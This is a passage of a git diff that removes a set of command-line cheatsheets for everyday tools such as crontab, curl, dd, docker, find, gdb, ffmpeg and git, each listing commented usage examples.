in.pdf to standard output. -cpdf -list-annotations in.pdf - -# Might Produce: - -# -- # Annotation text content 1 # -- # -- # Annotation text content 2 -# -- - -# Copy the annotations from from.pdf to in.pdf, writing to out.pdf. -cpdf -copy-annotations from.pdf in.pdf -o out.pdf - -# Set the document title of in.pdf. writing to out.pdf. -cpdf -set-title "The New Title" in.pdf -o out.pdf - -# Set the document in.pdf to open with the Acrobat Viewer's toolbar -# hidden, writing to out.pdf. -cpdf -hide-toolbar true in.pdf -o out.pdf - -# Set the metadata in a PDF in.pdf to the contents of the file -# metadata.xml, and write the output to out.pdf. -cpdf -set-metadata metadata.xml in.pdf -o out.pdf - -# Set the document in.pdf to open in Acrobat Viewer showing two -# columns of pages, starting on the right, putting the result in -# out.pdf. -cpdf -set-page-layout TwoColumnRight in.pdf -o out.pdf - -# Set the document in.pdf to open in Acrobat Viewer in full screen -# mode, putting the result in out.pdf. -cpdf -set-page-mode FullScreen in.pdf -o out.pdf - -# Attach the file sheet.xls to in.pdf, writing to out.pdf. -cpdf -attach-file sheet.xls in.pdf -o out.pdf - -# Remove any attachments from in.pdf, writing to out.pdf. -cpdf -remove-files in.pdf -o out.pdf - -# Blacken all the text in in.pdf, writing to out.pdf. -cpdf -blacktext in.pdf -o out.pdf - -# Make sure all lines in in.pdf are at least 2 pts wide, writing to -# out.pdf. -cpdf -thinlines 2pt in.pdf -o out.pdf - diff --git a/assets/cheatsheets/crontab b/assets/cheatsheets/crontab deleted file mode 100644 index f58d170..0000000 --- a/assets/cheatsheets/crontab +++ /dev/null @@ -1,37 +0,0 @@ ---- -tags: [ job, scheduler, periodic ] ---- -# set a shell -SHELL=/bin/bash - -# set a PATH -PATH=/usr/bin:/usr/sbin:/usr/local/bin - -# incorrect way of seeting PATH -PATH=$PATH:/do/not/do/this - -# crontab format -* * * * * command_to_execute -- - - - - -| | | | | -| | | | +- day of week (0 - 7) (where sunday is 0 and 7) -| | | +--- month (1 - 12) -| | +----- day (1 - 31) -| +------- hour (0 - 23) -+--------- minute (0 - 59) - -# example entries -# every 15 min -*/15 * * * * /home/user/command.sh - -# every midnight -0 0 * * * /home/user/command.sh - -# every Saturday at 8:05 AM -5 8 * * 6 /home/user/command.sh - -# compute your crontab periodicity format online -https://crontab.guru/ - -# be careful with % sign (percent), it has special meaning, see https://crontab.guru/ for explanation -% signs must be escaped such as \% diff --git a/assets/cheatsheets/cryptsetup b/assets/cheatsheets/cryptsetup deleted file mode 100644 index 1508512..0000000 --- a/assets/cheatsheets/cryptsetup +++ /dev/null @@ -1,8 +0,0 @@ -# To open an encrypted partition /dev/sdb1 (reachable at /dev/mapper/backup): -cryptsetup open --type luks /dev/sdb1 backup - -# To open an encrypted partition /dev/sdb1 using a keyfile (reachable at /dev/mapper/hdd): -cryptsetup open --type luks --key-file hdd.key /dev/sdb1 hdd - -# To close luks container at /dev/mapper/hdd: -cryptsetup close hdd diff --git a/assets/cheatsheets/csplit b/assets/cheatsheets/csplit deleted file mode 100644 index a8e4840..0000000 --- a/assets/cheatsheets/csplit +++ /dev/null @@ -1,5 +0,0 @@ -# To split a file based on a pattern: -csplit '/PATTERN/' - -# To use prefix/suffix to improve output file names: -csplit -f 'prefix-' -b '%d.extension' '/PATTERN/' '{*}' diff --git a/assets/cheatsheets/cups b/assets/cheatsheets/cups deleted file mode 100644 index 64c35e5..0000000 --- a/assets/cheatsheets/cups +++ /dev/null @@ -1,21 +0,0 @@ -# To manage printers through CUPS: -http://localhost:631 (in web browser) - -# To print a file: -lp - -# To display the print queue: -lpq - -# Remove a print job from the queue: -lprm 545 #or: -lprm - - -# To print log location: -/var/log/cups - -# To reject new jobs: -cupsreject - -# To accept new jobs: -cupsaccept diff --git a/assets/cheatsheets/curl b/assets/cheatsheets/curl deleted file mode 100644 index 772de7f..0000000 --- a/assets/cheatsheets/curl +++ /dev/null @@ -1,41 +0,0 @@ -# To download a file: -curl - -# To download and rename a file: -curl -o - -# To download multiple files: -curl -O -O - -# To download all sequentially numbered files (1-24): -curl http://example.com/pic[1-24].jpg - -# To download a file and pass HTTP authentication: -curl -u : - -# To download a file with a proxy: -curl -x : - -# To download a file over FTP: -curl -u : -O ftp://example.com/pub/file.zip - -# To get an FTP directory listing: -curl ftp://username:password@example.com - -# To resume a previously failed download: -curl -C - -o - -# To fetch only the HTTP headers from a response: -curl -I - -# To fetch your external IP and network info as JSON: -curl http://ifconfig.me/all.json - -# To limit the rate of a download: -curl --limit-rate 1000B -O - -# To get your global IP: -curl httpbin.org/ip - -# To get only the HTTP status code: -curl -o /dev/null -w '%{http_code}\n' -s -I URL diff --git a/assets/cheatsheets/cut b/assets/cheatsheets/cut deleted file mode 100644 index 1e7939f..0000000 --- a/assets/cheatsheets/cut +++ /dev/null @@ -1,2 +0,0 @@ -# To cut out the third field of text or stdoutput that is delimited by a #: -cut -d# -f3 diff --git a/assets/cheatsheets/date b/assets/cheatsheets/date deleted file mode 100644 index 8c9c6d0..0000000 --- a/assets/cheatsheets/date +++ /dev/null @@ -1,52 +0,0 @@ ---- -tags: [ date, time ] ---- -# To print Abbreviated weekday name: -date +"%a" - -# To print Full month name: -date +"%B" - -# To print ISO date (same as %Y-%m-%d): -date +"%F" - -# To print Time (same as %H:%M:%S): -date +"%T" - -# To print Sunday week number (00 to 53): -date +"%U" - -# To print Monday week number (00 to 53): -date +"%W" - -# To print Time (localized): -date +"%X" - -# To print 4-digit year: -date +"%Y" - -# To print Timezone name: -date +"%Z" -# To print the date in a format suitable for affixing to file names: -date +"%Y%m%d_%H%M%S" - -# To convert a Unix timestamp to Date (Linux): -date -d @1440359821 - -# To convert a Unix timestamp to Date (OSX): -date -r 1440359821 - -# To show the current timezone: -date +%Z - -# To show date in RFC format with TZ offset: -date -R - -# To show date in UTC/GMT: -date -u - -# To show date in CET: -TZ=CET date - -# To show the time on the west coast of the US (use tzselect(1) to find TZ): -TZ='America/Los_Angeles' date diff --git a/assets/cheatsheets/dd b/assets/cheatsheets/dd deleted file mode 100644 index 76099c5..0000000 --- a/assets/cheatsheets/dd +++ /dev/null @@ -1,28 +0,0 @@ -# Read from {/dev/urandom} 2*512 Bytes and put it into {/tmp/test.txt} -# Note: At the first iteration, we read 512 Bytes. -# Note: At the second iteration, we read 512 Bytes. -dd if=/dev/urandom of=/tmp/test.txt count=2 bs=512 - -# Watch the progress of 'dd' -dd if=/dev/zero of=/dev/null bs=4KB &; export dd_pid=`pgrep '^dd'`; while [[ -d /proc/$dd_pid ]]; do kill -USR1 $dd_pid && sleep 1 && clear; done - -# Watch the progress of 'dd' with `pv` and `dialog` (apt-get install pv dialog) -(pv -n /dev/zero | dd of=/dev/null bs=128M conv=notrunc,noerror) 2>&1 | dialog --gauge "Running dd command (cloning), please wait..." 10 70 0 - -# Watch the progress of 'dd' with `pv` and `zenity` (apt-get install pv zenity) -(pv -n /dev/zero | dd of=/dev/null bs=128M conv=notrunc,noerror) 2>&1 | zenity --title 'Running dd command (cloning), please wait...' --progress - -# Watch the progress of 'dd' with the built-in `progress` functionality -# (introduced in coreutils v8.24) -dd if=/dev/zero of=/dev/null bs=128M status=progress - -# DD with "graphical" return -dcfldd if=/dev/zero of=/dev/null bs=500K - -# This will output the sound from your microphone port to the ssh target -# computer's speaker port. The sound quality is very bad, so you will hear a -# lot of hissing. -dd if=/dev/dsp | ssh -c arcfour -C username@host dd of=/dev/dsp - -# Create a 1MB file with zero allocated blocks: -dd if=/dev/zero of=foo1 seek=1 bs=1M count=0 diff --git a/assets/cheatsheets/deb b/assets/cheatsheets/deb deleted file mode 100644 index 750614f..0000000 --- a/assets/cheatsheets/deb +++ /dev/null @@ -1,10 +0,0 @@ ---- -tags: [ packaging ] ---- -# To extract the contents of a .deb file: -ar vx foo.deb # -> data.tar.gz -tar xf data.tar.gz - -# To install .deb file to a debian like system (e.g: Ubuntu): -sudo dpkg -i foo.deb -sudo apt-get install -f diff --git a/assets/cheatsheets/df b/assets/cheatsheets/df deleted file mode 100644 index 21e88bc..0000000 --- a/assets/cheatsheets/df +++ /dev/null @@ -1,5 +0,0 @@ -# To print free disk space in a human-readable format: -df -h - -# To print the disk for a given path: -df -d diff --git a/assets/cheatsheets/dhclient b/assets/cheatsheets/dhclient deleted file mode 100644 index a0e80e5..0000000 --- a/assets/cheatsheets/dhclient +++ /dev/null @@ -1,13 +0,0 @@ ---- -tags: [ networking ] ---- -# To release the current IP address: -sudo dhclient -r - -# To obtain a new IP address: -sudo dhclient - -# Running the above in sequence is a common way of refreshing an IP. - -# To obtain a new IP address for a specific interface: -sudo dhclient diff --git a/assets/cheatsheets/diff b/assets/cheatsheets/diff deleted file mode 100644 index 6527a52..0000000 --- a/assets/cheatsheets/diff +++ /dev/null @@ -1,26 +0,0 @@ -# To view the differences between two files: -diff -u - -# To view the differences between two directories: -diff -ur - -# To ignore whitespace: -diff -ub - -# To ignore blank lines: -diff -uB - -# To ignore the differences between uppercase and lowercase: -diff -ui - -# To report whether the files differ: -diff -q - -# To report whether the files are identical: -diff -s - -# To diff the output of two commands or scripts: -diff <(command1) <(command2) - -# To generate a patch file from two files: -diff -Naur > diff --git a/assets/cheatsheets/distcc b/assets/cheatsheets/distcc deleted file mode 100644 index 2564761..0000000 --- a/assets/cheatsheets/distcc +++ /dev/null @@ -1,29 +0,0 @@ -# INSTALL -# ============================================================================== -# Edit /etc/default/distcc and set theses vars -# STARTDISTCC="true" -# ALLOWEDNETS="127.0.0.1 192.168.1.0/24"# Your computer and local computers -# #LISTENER="127.0.0.1"# Comment it -# ZEROCONF="true"# Auto configuration - -# REMEMBER 1: -# Start/Restart your distccd servers before using one of these commands. -# service distccd start - -# REMEMBER 2: -# Do not forget to install on each machine DISTCC. -# No need to install libs ! Only main host need libs ! - -# USAGE -# ============================================================================== - -# Run make with 4 thread (a cross network) in auto configuration. -# Note: for gcc, Replace CXX by CC and g++ by gcc -ZEROCONF='+zeroconf' make -j4 CXX='distcc g++' - -# Run make with 4 thread (a cross network) in static configuration (2 ip) -# Note: for gcc, Replace CXX by CC and g++ by gcc -DISTCC_HOSTS='127.0.0.1 192.168.1.69' make -j4 CXX='distcc g++' - -# Show hosts aviables -ZEROCONF='+zeroconf' distcc --show-hosts diff --git a/assets/cheatsheets/dnf b/assets/cheatsheets/dnf deleted file mode 100644 index 524ea0e..0000000 --- a/assets/cheatsheets/dnf +++ /dev/null @@ -1,19 +0,0 @@ ---- -tags: [ packaging ] ---- -# To install a package: -dnf install - -# To find packages matching : -dnf search - -# To find which package provides an executable: -dnf provides - -# The following are available after installing "dnf-plugins-core" - -# To download a package: -dnf download - -# To install the build dependencies for a SRPM or from a .spec file: -dnf builddep diff --git a/assets/cheatsheets/docker b/assets/cheatsheets/docker deleted file mode 100644 index dcf831f..0000000 --- a/assets/cheatsheets/docker +++ /dev/null @@ -1,59 +0,0 @@ -# To start the docker daemon: -docker -d - -# To build a docker image: -docker build -t - -# To start a container with an interactive shell: -docker run -ti /bin/bash - -# To "shell" into a running container (docker-1.3+): -docker exec -ti bash - -# To inspect a running container: -docker inspect (or ) - -# To get the process ID for a container: -docker inspect --format {{.State.Pid}} - -# To list (and pretty-print) the current mounted volumes for a container: -docker inspect --format='{{json .Volumes}}' | python -mjson.tool - -# To copy files/folders between a container and your host: -docker cp foo.txt mycontainer:/foo.txt - -# To list currently running containers: -docker ps - -# To list all containers: -docker ps -a - -# To remove all stopped containers: -docker rm $(docker ps -qa) - -# To list all images: -docker images - -# To remove all untagged images: -docker rmi $(docker images | grep "^" | awk '{print $3}') - -# To remove all volumes not used by at least one container: -docker volume prune - -# To save image as tar archive: -docker save -o .tar - -# To restore image from a saved tar archive: -docker load -i .tar - -# To remove an image image: -docker image rm - -# To tag an image: -docker image tag : : - -# To login into hub.docker.com: -docker login - -# To push a docker image into dockerhub repository: -docker push : diff --git a/assets/cheatsheets/dpkg b/assets/cheatsheets/dpkg deleted file mode 100644 index af5c312..0000000 --- a/assets/cheatsheets/dpkg +++ /dev/null @@ -1,14 +0,0 @@ ---- -tags: [ packaging ] ---- -# To install or upgrade a package: -dpkg -i - -# To remove a package (including configuration files): -dpkg -P - -# To list all installed packages with versions and details: -dpkg -l - -# To determine whether a Debian package is installed: -dpkg -s | grep Status diff --git a/assets/cheatsheets/du b/assets/cheatsheets/du deleted file mode 100644 index d391127..0000000 --- a/assets/cheatsheets/du +++ /dev/null @@ -1,18 +0,0 @@ -# To sort directories/files by size: -du -sk *| sort -rn - -# To show cumulative human-readable size: -du -sh - -# To show cumulative human-readable size and dereference symlinks: -du -shL - -# Show apparent size instead of disk usage (so sparse files will show greater -# than zero): -du -h --apparent-size - -# To sort directories/files by size (human-readable): -du -sh * | sort -rh - -# To list the 20 largest files and folders under the current working directory: -du -ma | sort -nr | head -n 20 diff --git a/assets/cheatsheets/dwm b/assets/cheatsheets/dwm deleted file mode 100644 index ec89bb5..0000000 --- a/assets/cheatsheets/dwm +++ /dev/null @@ -1,79 +0,0 @@ -Basic -===== -# launch terminal. -[Shift]+[Mod]+[Enter] - -# show/hide bar. -[Mod]+[b] - -# dmenu for running programs like the x#www#browser. -[Mod]+[p] - - # push acive window from stack to master, or pulls last used window from stack onto master. -[Mod]+[Enter] - - # focus on next/previous window in current tag. -[Mod] + [j / k] - - # increases / decreases master size. -[Mod] + [h / l] - - -Navigation -========== -# moves your focus to tag 2. -[Mod]+[2] - -# move active window to the 2 tag. -[Shift]+[Mod]+[2] - - # increases / decreases number of windows on master -[Mod] + [i / d] - -# move focus between screens (multi monitor setup) -[Mod] + [, / .] - -# move active window to different screen. -[Shift]+[Mod]+[, / .] - -# view all windows on screen. -[Mod]+[0] - -# make focused window appear on all tags. -[Shift]+[Mod]+[0] - -# kill active window. -[Shift]+[Mod]+[c] - -# quit dwm cleanly. -[Shift]+[Mod]+[q] - - -Layout -====== -# tiled mode. []= -[Mod]+[t] - -# floating mode. ><> -[Mod]+[f] - -# monocle mode. [M] (single window fullscreen) -[Mod]+[m] - - -Floating -======== -# to resize the floating window. -[Mod]+[R M B] - -# to move the floating window around. -[Mod]+[L M B] - -# toggles to the previous layout mode. -[Mod]+[Space] - -# to make an individual window float. -[Mod]+[Shift]+[Space] - -# to make an individual window un#float. -[Mod]+[M M B] diff --git a/assets/cheatsheets/ed b/assets/cheatsheets/ed deleted file mode 100644 index a4635b8..0000000 --- a/assets/cheatsheets/ed +++ /dev/null @@ -1,86 +0,0 @@ ---- -tags: [ ed ] ---- - -# File and buffer management - -:e {file} load file to buffer -:q quit -:Q quit without saving changes -:f {name} change buffer name -:w write to file using current buffer name -:w {file} write buffer to new file -:wq write buffer to existing file and exit - -# Line-oriented addressing and movement -# `ed' uses line addresses to move around and operate within a buffer -# Move to or operate on single lines by entering the line number -# Move to or operate on ranges of lines using comma-separated values -# The active line is always set to the last number of the range entered - -. or p display current line -n display current line with line number - -1,$ or , range indicating the entire buffer; displays final line - -3 or 3p move to line 3 of the buffer and display -3n move to line 3 of the buffer and display with line number - -1,$p or ,p display entire buffer without line numbers -1,$n or ,n display entire buffer with line numbers - -15,25p display lines 15 through 25 of the buffer -15,25n display lines 15 through 25 of the buffer with line numbers - -# Line editing commands -# All commands can be prefixed with line addresses/ranges - -i start editing by inserting new text before the current line -a start editing by inserting new text after the current line -c clear contents of current line and replace with new text -. a period [.] enterd alone on a new line ends the active edit - -d delete current line -1,3d delete lines 1 through 3 - -u undo last edit - -r {file} read contents of {file} into buffer after current line -r !{command} read output of {command} into buffer after current line - -# Example of a simple editing session - -e test.txt edit file "test.txt" -45 `ed' returns character count as confirmation -1,3n display lines 1 through 3 with line numbers -1 This is line 1 -2 This is line 2 -3 This is line 3 -2c change line 2 -I am typing a new line 2 -. end active edit -1,3n display lines 1 thorugh 3 with line numbers -1 This is line 1 -2 I am typing a new line 2 -3 This is line 3 -wq write file "test.txt" and exit - -# Search -# Accepts regexps in search strings - -g/foo/ search all lines for `foo' and display matching lines -g/foo/n search all lines for `foo'; display with line numbers - -4,9/foo/ search lines 1 through 5 for `foo' and display matches -4,9/foo/n search lines 1 through 5 for `foo'; display with line numbers - -# Replace -# Accepts regexps in search and replace strings - -s/foo/bar replace first instance of `foo' with `bar' on the current line -s/foo/bar/{n} replace {n}th instance of `foo' with `bar' on the current line -s/foo/bar/g replace all instances of `foo' with `bar' on the current line - -1,4/foo/bar/g replace all instances of `foo' with `bar` in lines 1 through 4 - -,s/foo/bar/g replace all instances of `foo' with `bar' in the entire buffer diff --git a/assets/cheatsheets/emacs b/assets/cheatsheets/emacs deleted file mode 100644 index 88f3f6e..0000000 --- a/assets/cheatsheets/emacs +++ /dev/null @@ -1,64 +0,0 @@ -# Running emacs - - GUI mode $ emacs - Terminal mode $ emacs -nw - -# Basic usage - - Indent Select text then press TAB - Cut C-w - Copy M-w - Paste ("yank") C-y - Begin selection C-SPACE - Search/Find C-s - Replace M-% (M-SHIFT-5) - Save C-x C-s - Save as C-x C-w - Load/Open C-x C-f - Undo C-x u - Highlight all text C-x h - Directory listing C-x d - Cancel a command C-g - Font size bigger C-x C-+ - Font size smaller C-x C-- - -# Buffers - - Split screen vertically C-x 2 - Split screen vertically with 5 row height C-u 5 C-x 2 - Split screen horizontally C-x 3 - Split screen horizontally with 24 column width C-u 24 C-x 3 - Revert to single screen C-x 1 - Hide the current screen C-x 0 - Move to the next screen C-x o - Kill the current buffer C-x k - Select a buffer C-x b - Run command in the scratch buffer C-x C-e - -# Navigation ( backward / forward ) - - Character-wise C-b , C-f - Word-wise M-b , M-f - Line-wise C-p , C-n - Sentence-wise M-a , M-e - Paragraph-wise M-{ , M-} - Function-wise C-M-a , C-M-e - Line beginning / end C-a , C-e - -# Other stuff - - Open a shell M-x eshell - Goto a line number M-x goto-line - Word wrap M-x toggle-word-wrap - Spell checking M-x flyspell-mode - Line numbers M-x linum-mode - Toggle line wrap M-x visual-line-mode - Compile some code M-x compile - List packages M-x package-list-packages - -# Line numbers - - To add line numbers and enable moving to a line with C-l: - - (global-set-key "\C-l" 'goto-line) - (add-hook 'find-file-hook (lambda () (linum-mode 1))) diff --git a/assets/cheatsheets/ethtool b/assets/cheatsheets/ethtool deleted file mode 100644 index 355e5c2..0000000 --- a/assets/cheatsheets/ethtool +++ /dev/null @@ -1,18 +0,0 @@ ---- -syntax: bash -tags: [networking] ---- -# To show statistics for the selected interface: -ethtool -S - -# To show interface permanent address: -ethotool -P - -# To set interface speed: -ethtool -s [ speed %d ] - -# To set interface autonegotiation: -ethtool -s [ autoneg on|off ] - -# To get interface errors: -ethtool -S | grep error diff --git a/assets/cheatsheets/export b/assets/cheatsheets/export deleted file mode 100644 index 1b89678..0000000 --- a/assets/cheatsheets/export +++ /dev/null @@ -1,5 +0,0 @@ -# To show current shell attributes: -export - -# To export an environment variable: -export VARNAME="value" diff --git a/assets/cheatsheets/ffmpeg b/assets/cheatsheets/ffmpeg deleted file mode 100644 index 60d10ac..0000000 --- a/assets/cheatsheets/ffmpeg +++ /dev/null @@ -1,43 +0,0 @@ -# To print file metadata: -ffmpeg -i - -# To convert all m4a files to mp3 -for f in *.m4a; do ffmpeg -i "$f" -acodec libmp3lame -vn -b:a 320k "${f%.m4a}.mp3"; done - -# To convert video from .foo to .bar -# -g : GOP, for searchability -ffmpeg -i input.foo -vcodec bar -acodec baz -b:v 21000k -b:a 320k -g 150 -threads 4 output.bar - -# To convert image sequence to video: -ffmpeg -r 18 -pattern_type glob -i '*.png' -b:v 21000k -s hd1080 -vcodec vp9 -an -pix_fmt yuv420p -deinterlace output.ext - -# To combine video and audio into one file -ffmpeg -i video.ext -i audio.ext -c:v copy -c:a copy output.ext - -# To add ass subtitle to the video -ffmpeg -i input_video.mp4 -vf ass=sub.ass output_video_subtitles.mp4 - -# To convert webm to mp4 -ffmpeg -i input_video.webm output_video.mp4 - -# To convert mp4 to mov -ffmpeg -i input_video.mp4 -acodec copy -vcodec copy -f mov output_video.mov - -# To convert mov to mp4 -ffmpeg -i input_video.mov -vcodec copy -acodec copy output_video.mp4 - -# Listen to 10 seconds of audio from a video file -# -# -ss : start time -# -t : seconds to cut -# -autoexit : closes ffplay as soon as the audio finishes -ffmpeg -ss 00:34:24.85 -t 10 -i path/to/file.mp4 -f mp3 pipe:play | ffplay -i pipe:play -autoexit - -# To combine audio and video from N files: -# See also https://stackoverflow.com/questions/7333232/how-to-concatenate-two-mp4-files-using-ffmpeg -cat mylist.txt -file '/path/to/file1' -file '/path/to/file2' -file '/path/to/file3' - -ffmpeg -f concat -safe 0 -i mylist.txt -c copy output.mp4 diff --git a/assets/cheatsheets/find b/assets/cheatsheets/find deleted file mode 100644 index 89259d3..0000000 --- a/assets/cheatsheets/find +++ /dev/null @@ -1,80 +0,0 @@ -# To find files following symlinks (otherwise the symlinks are not followed): -find -L . -type f - -# To find files by case-insensitive extension (ex: .jpg, .JPG, .jpG): -find . -iname "*.jpg" - -# To find directories: -find . -type d - -# To find files: -find . -type f - -# To find files by octal permission: -find . -type f -perm 777 - -# To find files with setuid bit set: -find . -xdev \( -perm -4000 \) -type f -print0 | xargs -0 ls -l - -# To find files newer than 1 day old and copy elsewhere (remove -p flag in xargs to not be asked): -find . -type f -ctime -1 -print0 | xargs -0 -p cp -t -# or: -find . -type f -ctime -1 -print0 | xargs -0 -p -J % cp % - -# To find files with extension '.txt' and remove them: -find ./path/ -name '*.txt' -delete - -# To find files with tilde as postfix and remove them: -find ./path/ -name '*~' -delete - -# To find files with extension '.txt' and dump their contents: -find ./path/ -name '*.txt' -exec cat '{}' \; - -# To find files with extension '.txt' and look for a string into them: -find ./path/ -name '*.txt' | xargs grep 'string' - -# To find files with size bigger than 5 Mebibyte and sort them by size: -find . -size +5M -type f -print0 | xargs -0 ls -Ssh | sort -z - -# To find files bigger than 2 Megabyte and list them: -find . -type f -size +200000000c -exec ls -lh {} \; | awk '{ print $9 ": " $5 }' - -# To find files modified more than 7 days ago and list file information: -find . -type f -mtime +7d -ls - -# To find symlinks owned by a user and list file information: -find . -type l -user -ls - -# To search for and delete empty directories: -find . -type d -empty -exec rmdir {} \; - -# To search for directories named build at a max depth of 2 directories: -find . -maxdepth 2 -name build -type d - -# To search all files who are not in .git directory: -find . ! -iwholename '*.git*' -type f - -# To find all files that have the same node (hard link) as MY_FILE_HERE: -find . -type f -samefile MY_FILE_HERE 2>/dev/null - -# To find all files in the current directory and modify their permissions: -find . -type f -exec chmod 644 {} \; - -# To find all files changed in last 2 days: -find . -type f -ctime -48h -find . -type f -ctime -2 -# Or created in last 2 days: -find . -type f -Btime -2 -# Or accessed in last 2 days: -find . -type f -atime -2 - -# To find and rename (imperfect) all files and dirs that have a comma in the -# name (dry-run): -find . -name '*,*' | while read f; do echo mv "$f" "${f//,/}"; done - -# To find all broken links. Note -L returns a file unless it is a broken link: -find -L /usr/ports/packages -type l - -# To find and run multiple shell commands (without multiple execs): -# See: https://stackoverflow.com/questions/5119946/find-exec-with-multiple-commands -find . -type f -exec sh -c "echo '{}'; cat '{}';" \; diff --git a/assets/cheatsheets/fkill b/assets/cheatsheets/fkill deleted file mode 100644 index 84d964e..0000000 --- a/assets/cheatsheets/fkill +++ /dev/null @@ -1,11 +0,0 @@ -# To kill a process by pid -fkill 1337 - -# To kill processes by name (case insensitive) -fkill safari - -# To kill a process listening on a port -fkill :8080 - -# To run the interactive interface -fkill diff --git a/assets/cheatsheets/for b/assets/cheatsheets/for deleted file mode 100644 index e9309eb..0000000 --- a/assets/cheatsheets/for +++ /dev/null @@ -1,38 +0,0 @@ -# basic loop -for i in 1 2 3 4 5 6 7 8 9 10 -do - echo $i -done - -# loop ls command results -for var in `ls -alF` -do - echo $var -done - -# loop over all the JPG files in the current directory -for jpg_file in *.jpg -do - echo $jpg_file -done - -# loop specified number of times -for i in `seq 1 10` -do - echo $i -done - -# same as above, but as one-liner -for i in `seq 1 10`; do echo $i; done - -# loop specified number of times: the C/C++ style -for ((i=1;i<=10;++i)) -do - echo $i -done - -# loop specified number of times: the brace expansion -for i in {1..10} -do - echo $i -done diff --git a/assets/cheatsheets/fzf b/assets/cheatsheets/fzf deleted file mode 100644 index d872599..0000000 --- a/assets/cheatsheets/fzf +++ /dev/null @@ -1,26 +0,0 @@ -# To fuzzy find files in current directory -fzf - -# To fuzzy find a file and cat it -cat $(fzf) - -# Case sensitive search -fzf +i - -# Case insensitve search -fzf -i - -# Select multiple files (TAB to select, Shift+TAB to un-select) to delete -rm -rf $(fzf --multi) - -# Run a preview command with fzf, specifiy a command inside the double quotes. -fzf --preview "file {}" - -# Find files from find command and preview it with fzf -find . -type f -name "*.txt" | fzf --preview "head {}" - -# Display border around fzf output -fzf --border sharp - -# Output only selected files and pipe it to a file -find . -type f "*.txt" | fzf --multi > output.txt diff --git a/assets/cheatsheets/gcc b/assets/cheatsheets/gcc deleted file mode 100644 index b070c42..0000000 --- a/assets/cheatsheets/gcc +++ /dev/null @@ -1,21 +0,0 @@ -# To compile a file: -gcc file.c - -# To compile a file with a custom output: -gcc -o file file.c - -# debug symbols: -gcc -g - -# debug with all symbols: -gcc -ggdb3 - -# To build for 64 bits: -gcc -m64 - -# Include the directory {/usr/include/myPersonnal/lib/} to the list of path for #include <....> -# With this option, no warning / error will be reported for the files in {/usr/include/myPersonnal/lib/} -gcc -isystem /usr/include/myPersonnal/lib/ - -# To build a GUI for windows (Mingw) (Will disable the term/console): -gcc -mwindows diff --git a/assets/cheatsheets/gdb b/assets/cheatsheets/gdb deleted file mode 100644 index f2267b0..0000000 --- a/assets/cheatsheets/gdb +++ /dev/null @@ -1,130 +0,0 @@ -# To start the debugger: -gdb , gdb --args [...], gdb -p - -# To exit gdb (after program terminated): -q, quit - -# To set a breakpoint at a function: -b, break - -# To set a (conditional) breakpoint at a general location: -b, break [if ] - with as |:||*
|-offset|+offset - -# To set a watchpoint, i.e., stop when expression changes its value: -watch - -# To show all breakpoints and watchpoints: -info breakpoints, info watchpoints - -# To delete all or given breakpoints and watchpoints: -clear, delete -delete -clear - with as |:||*
|-offset|+offset - -# To disable a breakpoint: -dis, disable - -# To run the program, optionally with arguments for the program: -r, run [] - -# To run the current line, stepping over any invocations: -n, next - -# To run the current line, stepping into any invocations: -s, step - -# To run until the next line below, i.e., without new loop iteration: -u, until - -# Like run, but stop at the first machine instruction: -starti - -# To step or go to next line by a machine instruction -si, stepi -ni, nexti - -# To run until given location is reached -advance - with as |:||*
|-offset|+offset - -# To run until function ends, i.e., jump out of a function: -fin, finish - -# To continue execution: -c, continue - -# To print a stacktrace, optionally with local variables: -bt, backtrace [full] - -# Move to stack frame of given number or a frame up or down: -frame , up, down - -# To show summary info on selected frame: -info frame - -# To print the arguments or local variables to the current function: -info args, info locals - -# To print the registers: -info registers - -# To print a list of all the threads: -info threads - -# To print a list of all the loaded shared libraries: -info sharedlibrary - -# To evaluate an expression and print the result: -p length=strlen(string) - -# To print an array of given length: -p *@ - -# Examine content at address with a format and letter size: -x/
- ------- ------ ------- ------- - a | Address b | 8 bits - byte - i | Instruction h | 16 bits - halfword - t | Binary w | 32 bits - word - o | Octal g | 64 bits - giant - h | Hex - z | Hex, zero padded - d | Decimal - u | Unsigned decimal - f | Float - c | Char - s | String - -# To list surrounding source code: -l, list - -# Disassemble the current or given function: -disas, disassemble [/m] [] - with /m to show mixed source - -# Disassemble the given address range: -disas , -disas ,+ - -# To specify a given register, program counter, frame pointer, stack pointer -$reg, $pc, $fp, $sp - -# To enable pretty print of arrays and more: -set pretty print on - -# To toggle TUI mode: -C-x C-a, C-x a, C-x A - -# To use a TUI layout with only one window: -C-x 1 - -# To use a TUI layout with two windows: -C-x 2 - -# To change active window: -C-x o - -# To Switch in and out of the TUI SingleKey mode: -C-x s diff --git a/assets/cheatsheets/gem b/assets/cheatsheets/gem deleted file mode 100644 index cb271de..0000000 --- a/assets/cheatsheets/gem +++ /dev/null @@ -1,29 +0,0 @@ ---- -tags: [ packaging, ruby ] ---- -# To search for a package: -gem search - -# To install a package: -gem install - -# To install a package in user space: -gem install --user-install - -# To install specific version of a package: -gem install -v - -# To uninstall a package: -gem uninstall - -# To upgrade a package: -gem update - -# To show details of a package: -gem info - -# To list local packages: -gem list --local - -# To show help on command: -gem help diff --git a/assets/cheatsheets/gh b/assets/cheatsheets/gh deleted file mode 100644 index e45bb01..0000000 --- a/assets/cheatsheets/gh +++ /dev/null @@ -1,25 +0,0 @@ ---- -syntax: bash -tags: [ git, github, vcs ] ---- - -# View README.md: -gh repo view - -# View issue list: -gh issue list - -# View specific issue (e.g., the first being #1): -gh issue view 1 - -# Create issue (start an interactive CLI): -gh issue create - -# Create pull request from a feature branch (start an interactive CLI): -gh pr create - -# Create a public gist and open web browser to it: -gh gist create hello.py -d "my Hello-World program in Python" -w -p - -# Create a custom label for issues and prs -gh label create do-not-merge diff --git a/assets/cheatsheets/git b/assets/cheatsheets/git deleted file mode 100644 index 15a8828..0000000 --- a/assets/cheatsheets/git +++ /dev/null @@ -1,214 +0,0 @@ ---- -tags: [ vcs ] ---- -# To set your identity: -git config --global user.name -git config --global user.email - -# To set your editor: -git config --global core.editor - -# To enable color: -git config --global color.ui true - -# To stage all changes for commit: -git add --all - -# To stash changes locally, this will keep the changes in a separate changelist -# called stash and the working directory is cleaned. You can apply changes -# from the stash anytime -git stash - -# To stash changes with a message: -git stash push -m - -# To list all the stashed changes: -git stash list - -# To apply the most recent change and remove the stash from the stash list: -git stash pop - -# To apply any stash from the list of stashes. This does not remove the stash -# from the stash list -git stash apply stash@{6} - -# To commit staged changes: -git commit -m - -# To edit previous commit message: -git commit --amend - -# Git commit in the past -git commit --date="`date --date='2 day ago'`" -git commit --date="Jun 13 18:30:25 IST 2015" -# more recent versions of Git also support --date="2 days ago" directly - -# To change the date of an existing commit: -git filter-branch 